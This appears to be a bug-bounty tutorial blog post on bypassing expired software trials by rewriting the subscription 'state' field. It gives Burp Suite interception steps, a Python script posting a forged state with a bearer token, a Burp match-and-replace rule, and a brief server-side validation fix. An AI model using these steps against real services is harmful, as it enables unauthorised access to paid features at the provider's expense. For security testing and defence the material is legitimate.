Listen to this Post
Introduction
Bug bounty hunters often uncover vulnerabilities in subscription-based systems by manipulating trial states. One such technique involves modifying API responses or client-side logic to bypass expired trial restrictions. This article explores how to identify and exploit these flaws, along with mitigation strategies for developers.
Learning Objectives
- Understand how to identify trial state parameters in web applications.
- Learn how to manipulate JSON responses to bypass trial restrictions.
- Discover defensive coding practices to prevent such exploits.
1. Identifying Trial State Parameters
Targeted Request:
GET /api/user/subscription HTTP/1.1 Host: example.com
Response:
{
"state": "trial_suspended",
"expiry_date": "2025-06-25"
}
Exploit Steps:
- Intercept the API response using Burp Suite or Chrome DevTools.
2. Locate the `state` field (e.g., `”trial_suspended”`).
- Modify it to `”trial_active”` and forward the request.
4. Verify if the application grants extended access.
Why It Works:
Many apps rely on client-side state validation without backend rechecks, allowing unauthorized trial extensions.
2. Automating the Exploit with Python
Script Snippet:
import requests
headers = {"Authorization": "Bearer YOUR_TOKEN"}
response = requests.get("https://example.com/api/subscription", headers=headers)
data = response.json()
data["state"] = "trial_active"
Resend modified request
requests.post("https://example.com/api/subscription/update", json=data, headers=headers)
Steps:
1. Replace `YOUR_TOKEN` with a valid session token.
- Run the script to force a state change.
3. Check the application UI for access restoration.
3. Defending Against State Manipulation
Server-Side Fix:
Django/Flask example
def validate_subscription(user):
subscription = Subscription.objects.get(user=user)
if subscription.state == "trial_suspended" and datetime.now() > subscription.expiry_date:
raise PermissionDenied("Trial expired")
Key Actions:
- Always validate subscription states server-side.
- Log and alert on unexpected state-change attempts.
4. Burp Suite Match-and-Replace Rule
Configuration:
- Open Burp → Proxy → Options → Match and Replace.
2. Add a rule:
- Match: `”state”: “trial_suspended”`
- Replace: `”state”: “trial_active”`
3. Enable the rule and intercept traffic.
Impact:
Automatically rewrites responses to bypass client-side checks.
5. YouTube & Community Resources
- WhatsApp Group: Join Here
- YouTube Channel: Subscribe Here
What Undercode Say
Key Takeaways:
- Business Logic Flaws Are Pervasive: Many apps fail to revalidate critical states server-side.
- Low-Hanging Fruit for Hunters: Subscription bypasses often yield high bounties due to revenue impact.
Analysis:
While this exploit is simple, it highlights systemic issues in trust boundaries. Developers must adopt zero-trust principles for state management. Future SaaS platforms will likely integrate real-time fraud detection APIs to flag such manipulations.
Prediction:
As more apps adopt AI-driven anomaly detection (e.g., sudden state changes), hunters will shift to subtler techniques like timing attacks or JWT tampering. Proactive training (e.g., the linked YouTube channel) will be essential to stay ahead.
IT/Security Reporter URL:
Reported By: Deepak Saini – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
